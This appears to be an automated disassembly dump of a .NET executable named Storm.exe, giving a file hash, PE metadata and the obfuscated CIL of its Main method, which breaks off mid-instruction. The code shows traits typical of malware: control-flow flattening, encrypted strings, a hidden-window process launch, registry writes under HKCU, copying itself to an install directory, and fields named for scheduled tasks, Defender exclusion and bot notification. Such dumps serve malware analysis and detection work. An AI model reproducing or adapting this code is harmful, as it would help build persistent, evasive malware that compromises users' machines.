3fd38bfd701d5ee8f05283aea8ef4aa4

PE Detect: PeReader OK (file layout)

Storm.exe

Storm.exe

System.Void StormClient.Program::Main()

Storm.exe

ModuleDef

Windows

v4.0.30319

512

<null>

Storm

1.0.0.0

<null>

False

<null>

.NETFramework,Version=v4.8

47

System.Void StormClient.Program::Main()

517

br.s IL_0007: ldc.i4 13 call <null> ldc.i4 13 stloc V_4 br IL_0015: ldloc V_4 ldloc V_4 switch dnlib.DotNet.Emit.Instruction[] br IL_08E2: ldsfld StormClient.Program/<>c StormClient.Program/<>c::Ax9Le5KBa ldsfld SAKrrCABn2kuCRMJCjj SAKrrCABn2kuCRMJCjj::e2hAKYQwP4 call System.Boolean SAKrrCABn2kuCRMJCjj::MDyZS8xBcS(SAKrrCABn2kuCRMJCjj) pop <null> ldc.i4 16 br IL_0019: switch(IL_08E2,IL_03F5,IL_00B0,IL_0883,IL_0377,IL_088E,IL_08A6,IL_085B,IL_0087,IL_0386,IL_0810,IL_0603,IL_03BE,IL_03AA,IL_0363,IL_07A7,IL_03E1,IL_0793,IL_07E5,IL_0830,IL_0409,IL_086F,IL_0362,IL_07BB,IL_009C) ldsfld System.Boolean External::TBotNontify brfalse IL_07E5: ldsfld System.Threading.ThreadStart StormClient.Program/<>c::mlJytlPG3 ldc.i4 7 br IL_0019: switch(IL_08E2,IL_03F5,IL_00B0,IL_0883,IL_0377,IL_088E,IL_08A6,IL_085B,IL_0087,IL_0386,IL_0810,IL_0603,IL_03BE,IL_03AA,IL_0363,IL_07A7,IL_03E1,IL_0793,IL_07E5,IL_0830,IL_0409,IL_086F,IL_0362,IL_07BB,IL_009C) nop <null> ldc.i4 -1654140153 not <null> ldc.i4 1138795013 xor <null> ldsfld <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b} <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b}::m_4a821d741b174f27b8e7260e86875e42 ldfld System.Int32 <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b}::m_ae34551c2760488ead01dc1c2bea6bf1 xor <null> ldsfld lJNV8dZm69wUyWcjBZE lJNV8dZm69wUyWcjBZE::K2kZnrTp26 call System.String lJNV8dZm69wUyWcjBZE::MDyZS8xBcS(System.Int32,lJNV8dZm69wUyWcjBZE) ldsfld g0UA8ZZsaBC7di8WIGu g0UA8ZZsaBC7di8WIGu::PK3Z0fW93b call System.String g0UA8ZZsaBC7di8WIGu::MDyZS8xBcS(System.String,g0UA8ZZsaBC7di8WIGu) newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor(System.String) dup <null> ldc.i4.1 <null> ldsfld ajw9Xw1k1kQ7aoxIL39 ajw9Xw1k1kQ7aoxIL39::x031fhc7mA call System.Void ajw9Xw1k1kQ7aoxIL39::MDyZS8xBcS(System.Object,System.Diagnostics.ProcessWindowStyle,ajw9Xw1k1kQ7aoxIL39) stloc.s V_12 ldc.i4 5 ldsfld <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b} <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b}::m_4a821d741b174f27b8e7260e86875e42 ldfld System.Int32 <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b}::m_c75709b58fe6481493581f2458dfdd36 brfalse IL_0112: switch(IL_031C,IL_0169,IL_0154,IL_01C1,IL_0196,IL_0134) pop <null> ldc.i4 5 br IL_0112: switch(IL_031C,IL_0169,IL_0154,IL_01C1,IL_0196,IL_0134) ldloc V_6 switch dnlib.DotNet.Emit.Instruction[] br IL_031C: leave IL_07A7 ldsfld hQ3OIa1CeJSMKGkqvIb hQ3OIa1CeJSMKGkqvIb::JVd1xxqJTl call System.String hQ3OIa1CeJSMKGkqvIb::MDyZS8xBcS(hQ3OIa1CeJSMKGkqvIb) ldsfld GrK1EO1ZiSiHdutj0sg GrK1EO1ZiSiHdutj0sg::puj1ae6RLK call System.Boolean GrK1EO1ZiSiHdutj0sg::MDyZS8xBcS(System.String,GrK1EO1ZiSiHdutj0sg) stloc.s V_15 ldc.i4 3 br IL_0112: switch(IL_031C,IL_0169,IL_0154,IL_01C1,IL_0196,IL_0134) ldloc.s V_14 brfalse IL_031C: leave IL_07A7 ldc.i4 4 stloc V_6 br IL_010E: ldloc V_6 ldloc.s V_12 ldsfld Wkimwg1Ikm4CLb4NucP Wkimwg1Ikm4CLb4NucP::RfO1lSTgdq call System.Diagnostics.Process Wkimwg1Ikm4CLb4NucP::MDyZS8xBcS(System.Diagnostics.ProcessStartInfo,Wkimwg1Ikm4CLb4NucP) stloc.s V_14 ldc.i4 1 ldsfld <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b} <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b}::m_4a821d741b174f27b8e7260e86875e42 ldfld System.Int32 <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b}::m_929e240ca0b347369c05e2db1b0d9818 brtrue IL_0112: switch(IL_031C,IL_0169,IL_0154,IL_01C1,IL_0196,IL_0134) pop <null> ldc.i4 2 br IL_0112: switch(IL_031C,IL_0169,IL_0154,IL_01C1,IL_0196,IL_0134) ldloc.s V_14 ldsfld sKnlgH1qCR6qoiteYwN sKnlgH1qCR6qoiteYwN::fQ619HSW9u call System.Void sKnlgH1qCR6qoiteYwN::MDyZS8xBcS(System.Object,sKnlgH1qCR6qoiteYwN) ldc.i4 0 ldsfld <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b} <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b}::m_4a821d741b174f27b8e7260e86875e42 ldfld System.Int32 <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b}::m_58fff8e09dba4c99a3ea79a0b81f5a08 brfalse IL_0112: switch(IL_031C,IL_0169,IL_0154,IL_01C1,IL_0196,IL_0134) pop <null> ldc.i4 0 br IL_0112: switch(IL_031C,IL_0169,IL_0154,IL_01C1,IL_0196,IL_0134) ldloc.s V_12 ldc.i4.7 <null> newarr System.String dup <null> ldc.i4.0 <null> ldc.i4 1564205800 ldc.i4 -2088457832 add <null> ldc.i4 -970783267 xor <null> ldsfld <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b} <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b}::m_4a821d741b174f27b8e7260e86875e42 ldfld System.Int32 <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b}::m_8ff92bba0e9a4285a2fc162ca6789511 xor <null> ldsfld lJNV8dZm69wUyWcjBZE lJNV8dZm69wUyWcjBZE::K2kZnrTp26 call System.String lJNV8dZm69wUyWcjBZE::MDyZS8xBcS(System.Int32,lJNV8dZm69wUyWcjBZE) ldsfld g0UA8ZZsaBC7di8WIGu g0UA8ZZsaBC7di8WIGu::PK3Z0fW93b call System.String g0UA8ZZsaBC7di8WIGu::MDyZS8xBcS(System.String,g0UA8ZZsaBC7di8WIGu) stelem.ref <null> dup <null> ldc.i4.1 <null> ldloc.s V_15 brfalse IL_020A: ldstr "" br IL_0214: ldc.i4 -1089243823 ldstr br IL_0244: stelem.ref ldc.i4 -1089243823 ldc.i4 156597079 add <null> ldc.i4 -1133267170 xor <null> ldsfld <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b} <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b}::m_4a821d741b174f27b8e7260e86875e42 ldfld System.Int32 <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b}::m_f4a7dfd6c1cb4deba5068bfd1f1d4823 xor <null> ldsfld lJNV8dZm69wUyWcjBZE lJNV8dZm69wUyWcjBZE::K2kZnrTp26 call System.String lJNV8dZm69wUyWcjBZE::MDyZS8xBcS(System.Int32,lJNV8dZm69wUyWcjBZE) ldsfld g0UA8ZZsaBC7di8WIGu g0UA8ZZsaBC7di8WIGu::PK3Z0fW93b call System.String g0UA8ZZsaBC7di8WIGu::MDyZS8xBcS(System.String,g0UA8ZZsaBC7di8WIGu) stelem.ref <null> dup <null> ldc.i4.2 <null> ldc.i4 -406906692 ldc.i4 -22061626 xor <null> ldsfld <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b} <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b}::m_4a821d741b174f27b8e7260e86875e42 ldfld System.Int32 <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b}::m_279e68898cfc473fa1f00312becda2cf xor <null> ldsfld lJNV8dZm69wUyWcjBZE lJNV8dZm69wUyWcjBZE::K2kZnrTp26 call System.String lJNV8dZm69wUyWcjBZE::MDyZS8xBcS(System.Int32,lJNV8dZm69wUyWcjBZE) ldsfld g0UA8ZZsaBC7di8WIGu g0UA8ZZsaBC7di8WIGu::PK3Z0fW93b call System.String g0UA8ZZsaBC7di8WIGu::MDyZS8xBcS(System.String,g0UA8ZZsaBC7di8WIGu) stelem.ref <null> dup <null> ldc.i4.3 <null> ldsfld System.String External::InstallStr ldsfld V5m6Ld1ArdAOD8grP39 V5m6Ld1ArdAOD8grP39::q9k11HJAxd call System.String V5m6Ld1ArdAOD8grP39::MDyZS8xBcS(System.String,V5m6Ld1ArdAOD8grP39) stelem.ref <null> dup <null> ldc.i4.4 <null> ldc.i4 1321942738 ldc.i4 1 shr <null> ldc.i4 1400821803 xor <null> ldsfld <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b} <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b}::m_4a821d741b174f27b8e7260e86875e42 ldfld System.Int32 <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b}::m_f4a7dfd6c1cb4deba5068bfd1f1d4823 xor <null> ldsfld lJNV8dZm69wUyWcjBZE lJNV8dZm69wUyWcjBZE::K2kZnrTp26 call System.String lJNV8dZm69wUyWcjBZE::MDyZS8xBcS(System.Int32,lJNV8dZm69wUyWcjBZE) ldsfld g0UA8ZZsaBC7di8WIGu g0UA8ZZsaBC7di8WIGu::PK3Z0fW93b call System.String g0UA8ZZsaBC7di8WIGu::MDyZS8xBcS(System.String,g0UA8ZZsaBC7di8WIGu) stelem.ref <null> dup <null> ldc.i4.5 <null> ldloc.s V_0 stelem.ref <null> dup <null> ldc.i4.6 <null> ldc.i4 823318258 ldc.i4 639483193 xor <null> ldsfld <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b} <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b}::m_4a821d741b174f27b8e7260e86875e42 ldfld System.Int32 <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b}::m_5a7831cbffe54d5592d37ea902786149 xor <null> ldsfld lJNV8dZm69wUyWcjBZE lJNV8dZm69wUyWcjBZE::K2kZnrTp26 call System.String lJNV8dZm69wUyWcjBZE::MDyZS8xBcS(System.Int32,lJNV8dZm69wUyWcjBZE) ldsfld g0UA8ZZsaBC7di8WIGu g0UA8ZZsaBC7di8WIGu::PK3Z0fW93b call System.String g0UA8ZZsaBC7di8WIGu::MDyZS8xBcS(System.String,g0UA8ZZsaBC7di8WIGu) stelem.ref <null> ldsfld AXy4luamDvMPQx9inD9 AXy4luamDvMPQx9inD9::PIsan0o0bi call System.String AXy4luamDvMPQx9inD9::MDyZS8xBcS(System.String[],AXy4luamDvMPQx9inD9) ldsfld Hps0X11O0NK87P03asB Hps0X11O0NK87P03asB::a8n1jAASSh call System.Void Hps0X11O0NK87P03asB::MDyZS8xBcS(System.Object,System.String,Hps0X11O0NK87P03asB) ldc.i4 0 ldsfld <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b} <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b}::m_4a821d741b174f27b8e7260e86875e42 ldfld System.Int32 <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b}::m_63a8ee440ca14445bf72c4c9ca994e21 brfalse IL_0112: switch(IL_031C,IL_0169,IL_0154,IL_01C1,IL_0196,IL_0134) pop <null> ldc.i4 1 br IL_0112: switch(IL_031C,IL_0169,IL_0154,IL_01C1,IL_0196,IL_0134) leave IL_07A7: ldsfld System.Boolean External::Registry pop <null> ldc.i4 0 ldsfld <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b} <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b}::m_4a821d741b174f27b8e7260e86875e42 ldfld System.Int32 <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b}::m_6aa1a5c734aa4977b6da80a6ea5ff8c3 brtrue IL_0345: switch(IL_0353) pop <null> ldc.i4 0 br IL_0345: switch(IL_0353) ldloc V_10 switch dnlib.DotNet.Emit.Instruction[] br IL_0353: leave IL_07A7 leave IL_07A7: ldsfld System.Boolean External::Registry ldc.i4 15 br IL_0019: switch(IL_08E2,IL_03F5,IL_00B0,IL_0883,IL_0377,IL_088E,IL_08A6,IL_085B,IL_0087,IL_0386,IL_0810,IL_0603,IL_03BE,IL_03AA,IL_0363,IL_07A7,IL_03E1,IL_0793,IL_07E5,IL_0830,IL_0409,IL_086F,IL_0362,IL_07BB,IL_009C) ret <null> ldsfld fdXbSuAT7HNVux3HLAP fdXbSuAT7HNVux3HLAP::OGmA6YUtLD call System.Void fdXbSuAT7HNVux3HLAP::MDyZS8xBcS(fdXbSuAT7HNVux3HLAP) ldc.i4 10 br IL_0019: switch(IL_08E2,IL_03F5,IL_00B0,IL_0883,IL_0377,IL_088E,IL_08A6,IL_085B,IL_0087,IL_0386,IL_0810,IL_0603,IL_03BE,IL_03AA,IL_0363,IL_07A7,IL_03E1,IL_0793,IL_07E5,IL_0830,IL_0409,IL_086F,IL_0362,IL_07BB,IL_009C) br IL_0793: ldsfld System.Boolean External::Schtasks ldc.i4 3 br IL_0019: switch(IL_08E2,IL_03F5,IL_00B0,IL_0883,IL_0377,IL_088E,IL_08A6,IL_085B,IL_0087,IL_0386,IL_0810,IL_0603,IL_03BE,IL_03AA,IL_0363,IL_07A7,IL_03E1,IL_0793,IL_07E5,IL_0830,IL_0409,IL_086F,IL_0362,IL_07BB,IL_009C) br IL_0883: nop ldc.i4 5 ldsfld <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b} <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b}::m_4a821d741b174f27b8e7260e86875e42 ldfld System.Int32 <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b}::m_ac041ea5d9f9486887662022f51f4e66 brtrue IL_0019: switch(IL_08E2,IL_03F5,IL_00B0,IL_0883,IL_0377,IL_088E,IL_08A6,IL_085B,IL_0087,IL_0386,IL_0810,IL_0603,IL_03BE,IL_03AA,IL_0363,IL_07A7,IL_03E1,IL_0793,IL_07E5,IL_0830,IL_0409,IL_086F,IL_0362,IL_07BB,IL_009C) pop <null> ldc.i4 3 br IL_0019: switch(IL_08E2,IL_03F5,IL_00B0,IL_0883,IL_0377,IL_088E,IL_08A6,IL_085B,IL_0087,IL_0386,IL_0810,IL_0603,IL_03BE,IL_03AA,IL_0363,IL_07A7,IL_03E1,IL_0793,IL_07E5,IL_0830,IL_0409,IL_086F,IL_0362,IL_07BB,IL_009C) ldsfld yxal5gAmhtsQURBYqqY yxal5gAmhtsQURBYqqY::oJRAniTBE2 call System.Void yxal5gAmhtsQURBYqqY::MDyZS8xBcS(yxal5gAmhtsQURBYqqY) ldc.i4 12 br IL_0019: switch(IL_08E2,IL_03F5,IL_00B0,IL_0883,IL_0377,IL_088E,IL_08A6,IL_085B,IL_0087,IL_0386,IL_0810,IL_0603,IL_03BE,IL_03AA,IL_0363,IL_07A7,IL_03E1,IL_0793,IL_07E5,IL_0830,IL_0409,IL_086F,IL_0362,IL_07BB,IL_009C) ldsfld System.Int32 External::Sleep ldc.i4 1000 mul <null> ldsfld FFavcMaU0HnFfcxhvOX FFavcMaU0HnFfcxhvOX::VRCabwAMeR call System.Void FFavcMaU0HnFfcxhvOX::MDyZS8xBcS(System.Int32,FFavcMaU0HnFfcxhvOX) ldc.i4 23 stloc V_4 br IL_0015: ldloc V_4 ldsfld System.Boolean External::WDEX brfalse IL_0810: ldsfld System.String External::InstallDir ldc.i4 14 br IL_0019: switch(IL_08E2,IL_03F5,IL_00B0,IL_0883,IL_0377,IL_088E,IL_08A6,IL_085B,IL_0087,IL_0386,IL_0810,IL_0603,IL_03BE,IL_03AA,IL_0363,IL_07A7,IL_03E1,IL_0793,IL_07E5,IL_0830,IL_0409,IL_086F,IL_0362,IL_07BB,IL_009C) ldsfld oLyyBn1PkU50Ffq57Yp oLyyBn1PkU50Ffq57Yp::FBg1rVt8NY call System.Void oLyyBn1PkU50Ffq57Yp::MDyZS8xBcS(oLyyBn1PkU50Ffq57Yp) ldc.i4 24 br IL_0019: switch(IL_08E2,IL_03F5,IL_00B0,IL_0883,IL_0377,IL_088E,IL_08A6,IL_085B,IL_0087,IL_0386,IL_0810,IL_0603,IL_03BE,IL_03AA,IL_0363,IL_07A7,IL_03E1,IL_0793,IL_07E5,IL_0830,IL_0409,IL_086F,IL_0362,IL_07BB,IL_009C) nop <null> ldsfld Microsoft.Win32.RegistryKey Microsoft.Win32.Registry::CurrentUser ldc.i4 1350511610 ldc.i4 1896326625 xor <null> ldsfld <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b} <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b}::m_4a821d741b174f27b8e7260e86875e42 ldfld System.Int32 <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b}::m_ae34551c2760488ead01dc1c2bea6bf1 xor <null> ldsfld lJNV8dZm69wUyWcjBZE lJNV8dZm69wUyWcjBZE::K2kZnrTp26 call System.String lJNV8dZm69wUyWcjBZE::MDyZS8xBcS(System.Int32,lJNV8dZm69wUyWcjBZE) ldsfld g0UA8ZZsaBC7di8WIGu g0UA8ZZsaBC7di8WIGu::PK3Z0fW93b call System.String g0UA8ZZsaBC7di8WIGu::MDyZS8xBcS(System.String,g0UA8ZZsaBC7di8WIGu) ldc.i4.1 <null> ldsfld otfcHe1WdMPVZlGbvCU otfcHe1WdMPVZlGbvCU::hD31p4lF7Y call Microsoft.Win32.RegistryKey otfcHe1WdMPVZlGbvCU::MDyZS8xBcS(System.Object,System.String,System.Boolean,otfcHe1WdMPVZlGbvCU) stloc.s V_11 ldc.i4 0 ldsfld <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b} <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b}::m_4a821d741b174f27b8e7260e86875e42 ldfld System.Int32 <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b}::m_ba0cd4e5f3df4ba4aff01c7402bb7688 brtrue IL_0469: switch(IL_047B,IL_05A8) pop <null> ldc.i4 0 br IL_0469: switch(IL_047B,IL_05A8) ldloc V_3 switch dnlib.DotNet.Emit.Instruction[] br IL_047B: nop nop <null> ldloc.s V_11 brfalse IL_04F4: leave IL_05A8 ldc.i4 1 ldsfld <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b} <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b}::m_4a821d741b174f27b8e7260e86875e42 ldfld System.Int32 <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b}::m_ac7026f643ad45e892438c0ce5f555a2 brtrue IL_04A6: switch(IL_04F4,IL_04B8) pop <null> ldc.i4 1 br IL_04A6: switch(IL_04F4,IL_04B8) ldloc V_8 switch dnlib.DotNet.Emit.Instruction[] br IL_04F4: leave IL_05A8 ldloc.s V_11 ldsfld System.String External::InstallStr ldsfld V5m6Ld1ArdAOD8grP39 V5m6Ld1ArdAOD8grP39::q9k11HJAxd call System.String V5m6Ld1ArdAOD8grP39::MDyZS8xBcS(System.String,V5m6Ld1ArdAOD8grP39) ldloc.s V_0 ldsfld AoIDAY1VBR2vk32qYMb AoIDAY1VBR2vk32qYMb::PyR1FVTYjB call System.Void AoIDAY1VBR2vk32qYMb::MDyZS8xBcS(System.Object,System.String,System.Object,AoIDAY1VBR2vk32qYMb) ldc.i4 0 ldsfld <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b} <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b}::m_4a821d741b174f27b8e7260e86875e42 ldfld System.Int32 <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b}::m_6aa1a5c734aa4977b6da80a6ea5ff8c3 brtrue IL_04A6: switch(IL_04F4,IL_04B8) pop <null> ldc.i4 0 br IL_04A6: switch(IL_04F4,IL_04B8) leave IL_05A8: leave IL_03F5 ldloc.s V_11 brtrue IL_055D: ldloc.s V_11 ldc.i4 2 ldsfld <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b} <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b}::m_4a821d741b174f27b8e7260e86875e42 ldfld System.Int32 <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b}::m_64d70bb98425449291ca4553f31ad152 brfalse IL_0523: switch(IL_055D,IL_0588,IL_0539) pop <null> ldc.i4 0 br IL_0523: switch(IL_055D,IL_0588,IL_0539) ldloc V_5 switch dnlib.DotNet.Emit.Instruction[] br IL_055D: ldloc.s V_11 br IL_0588: endfinally ldc.i4 0 ldsfld <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b} <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b}::m_4a821d741b174f27b8e7260e86875e42 ldfld System.Int32 <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b}::m_d79f244f7eb74319965e3d22e96abed6 brfalse IL_0523: switch(IL_055D,IL_0588,IL_0539) pop <null> ldc.i4 0 br IL_0523: switch(IL_055D,IL_0588,IL_0539) ldloc.s V_11 ldsfld mQGQthaz4oCHAenV6AX mQGQthaz4oCHAenV6AX::WZyAvGFXy2 call System.Void mQGQthaz4oCHAenV6AX::MDyZS8xBcS(System.Object,mQGQthaz4oCHAenV6AX) ldc.i4 1 ldsfld <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b} <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b}::m_4a821d741b174f27b8e7260e86875e42 ldfld System.Int32 <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b}::m_09ac5dd705a64f888f9dd704efb00014 brfalse IL_0523: switch(IL_055D,IL_0588,IL_0539) pop <null> ldc.i4 0 br IL_0523: switch(IL_055D,IL_0588,IL_0539) endfinally <null> ldc.i4 1 ldsfld <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b} <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b}::m_4a821d741b174f27b8e7260e86875e42 ldfld System.Int32 <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b}::m_6bb845da9e8f4cefb6d8a2a760514734 brtrue IL_0469: switch(IL_047B,IL_05A8) pop <null> ldc.i4 1 br IL_0469: switch(IL_047B,IL_05A8) leave IL_03F5: ldsfld oLyyBn1PkU50Ffq57Yp oLyyBn1PkU50Ffq57Yp::FBg1rVt8NY pop <null> ldc.i4 0 ldsfld <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b} <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b}::m_4a821d741b174f27b8e7260e86875e42 ldfld System.Int32 <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b}::m_c75709b58fe6481493581f2458dfdd36 brtrue IL_05D1: switch(IL_05DF) pop <null> ldc.i4 0 br IL_05D1: switch(IL_05DF) ldloc V_1 switch dnlib.DotNet.Emit.Instruction[] br IL_05DF: leave IL_03F5 leave IL_03F5: ldsfld oLyyBn1PkU50Ffq57Yp oLyyBn1PkU50Ffq57Yp::FBg1rVt8NY ldc.i4 1 ldsfld <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b} <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b}::m_4a821d741b174f27b8e7260e86875e42 ldfld System.Int32 <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b}::m_b638bdcf498e4a8ea4ce04a3e71d6dbe brtrue IL_0019: switch(IL_08E2,IL_03F5,IL_00B0,IL_0883,IL_0377,IL_088E,IL_08A6,IL_085B,IL_0087,IL_0386,IL_0810,IL_0603,IL_03BE,IL_03AA,IL_0363,IL_07A7,IL_03E1,IL_0793,IL_07E5,IL_0830,IL_0409,IL_086F,IL_0362,IL_07BB,IL_009C) pop <null> ldc.i4 1 br IL_0019: switch(IL_08E2,IL_03F5,IL_00B0,IL_0883,IL_0377,IL_088E,IL_08A6,IL_085B,IL_0087,IL_0386,IL_0810,IL_0603,IL_03BE,IL_03AA,IL_0363,IL_07A7,IL_03E1,IL_0793,IL_07E5,IL_0830,IL_0409,IL_086F,IL_0362,IL_07BB,IL_009C) nop <null> ldloc.s V_0 newobj System.Void System.IO.FileInfo::.ctor(System.String) ldsfld Obcy7HALNmK795QItJ1 Obcy7HALNmK795QItJ1::PjaAy1n2KK call System.IO.DirectoryInfo Obcy7HALNmK795QItJ1::MDyZS8xBcS(System.Object,Obcy7HALNmK795QItJ1) ldsfld NUhe8WAEhlbMF2ysmS3 NUhe8WAEhlbMF2ysmS3::A7AA7KgnXW call System.String NUhe8WAEhlbMF2ysmS3::MDyZS8xBcS(System.Object,NUhe8WAEhlbMF2ysmS3) stloc.s V_2 ldc.i4 3 br IL_062F: switch(IL_06B1,IL_0659,IL_06A2,IL_06C8,IL_074D,IL_071D,IL_0687,IL_06F8) ldloc V_13 switch dnlib.DotNet.Emit.Instruction[] br IL_06B1: ldloc.s V_2 ldc.i4 1000 ldsfld FFavcMaU0HnFfcxhvOX FFavcMaU0HnFfcxhvOX::VRCabwAMeR call System.Void FFavcMaU0HnFfcxhvOX::MDyZS8xBcS(System.Int32,FFavcMaU0HnFfcxhvOX) ldc.i4 7 ldsfld <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b} <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b}::m_4a821d741b174f27b8e7260e86875e42 ldfld System.Int32 <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b}::m_279e68898cfc473fa1f00312becda2cf brtrue IL_062F: switch(IL_06B1,IL_0659,IL_06A2,IL_06C8,IL_074D,IL_071D,IL_0687,IL_06F8) pop <null> ldc.i4 0 br IL_062F: switch(IL_06B1,IL_0659,IL_06A2,IL_06C8,IL_074D,IL_071D,IL_0687,IL_06F8) ldloc.s V_0 ldsfld R9s8Br1tq0CyLEHOQD1 R9s8Br1tq0CyLEHOQD1::VWD1ikqoJU call System.Boolean R9s8Br1tq0CyLEHOQD1::MDyZS8xBcS(System.String,R9s8Br1tq0CyLEHOQD1) brtrue IL_071D: ldloc.s V_0 ldc.i4 2 br IL_062F: switch(IL_06B1,IL_0659,IL_06A2,IL_06C8,IL_074D,IL_071D,IL_0687,IL_06F8) br IL_0659: ldc.i4 1000 ldc.i4 5 br IL_062F: switch(IL_06B1,IL_0659,IL_06A2,IL_06C8,IL_074D,IL_071D,IL_0687,IL_06F8) ldloc.s V_2 ldsfld FsC2NcAzZuZ2i9w64j4 FsC2NcAzZuZ2i9w64j4::rfr1v7m0Vf call System.IO.DirectoryInfo FsC2NcAzZuZ2i9w64j4::MDyZS8xBcS(System.String,FsC2NcAzZuZ2i9w64j4) pop <null> ldc.i4 6 br IL_062F: switch(IL_06B1,IL_0659,IL_06A2,IL_06C8,IL_074D,IL_071D,IL_0687,IL_06F8) ldloc.s V_2 ldsfld lHRC1aA8Cw41RLQ2Mqg lHRC1aA8Cw41RLQ2Mqg::eUEAXqn04w call System.Boolean lHRC1aA8Cw41RLQ2Mqg::MDyZS8xBcS(System.String,lHRC1aA8Cw41RLQ2Mqg) brtrue IL_0687: ldloc.s V_0 ldc.i4 0 ldsfld <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b} <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b}::m_4a821d741b174f27b8e7260e86875e42 ldfld System.Int32 <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b}::m_c3f0c12219a24f91820c1220257c0a5c brtrue IL_062F: switch(IL_06B1,IL_0659,IL_06A2,IL_06C8,IL_074D,IL_071D,IL_0687,IL_06F8) pop <null> ldc.i4 0 br IL_062F: switch(IL_06B1,IL_0659,IL_06A2,IL_06C8,IL_074D,IL_071D,IL_0687,IL_06F8) ldloc.s V_0 ldsfld System.Object S0ks67awBcQWk9ntbj.M95VsIZwpCLCmSBGlW::kZqNBpyZJ ldsfld a15mVy1UnsnjQXX8qZP a15mVy1UnsnjQXX8qZP::PCq1bEHJC6 call System.Byte[] a15mVy1UnsnjQXX8qZP::MDyZS8xBcS(System.String,a15mVy1UnsnjQXX8qZP) ldsfld kUevjQ1wqNNK6DPsajh kUevjQ1wqNNK6DPsajh::JIA1H4FOUA call System.Void kUevjQ1wqNNK6DPsajh::MDyZS8xBcS(System.String,System.Byte[],kUevjQ1wqNNK6DPsajh) ldc.i4 4 br IL_062F: switch(IL_06B1,IL_0659,IL_06A2,IL_06C8,IL_074D,IL_071D,IL_0687,IL_06F8) ldloc.s V_0 newobj System.Void System.IO.FileInfo::.ctor(System.String) ldsfld GsTO2N1Mb9FGlqgkJhq GsTO2N1Mb9FGlqgkJhq::wKj1JmCTKK call System.Void GsTO2N1Mb9FGlqgkJhq::MDyZS8xBcS(System.Object,GsTO2N1Mb9FGlqgkJhq) ldc.i4 0 ldsfld <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b} <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b}::m_4a821d741b174f27b8e7260e86875e42 ldfld System.Int32 <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b}::m_9aa1a34587114fc38b752c4940c0d1bf brtrue IL_062F: switch(IL_06B1,IL_0659,IL_06A2,IL_06C8,IL_074D,IL_071D,IL_0687,IL_06F8) pop <null> ldc.i4 1 br IL_062F: 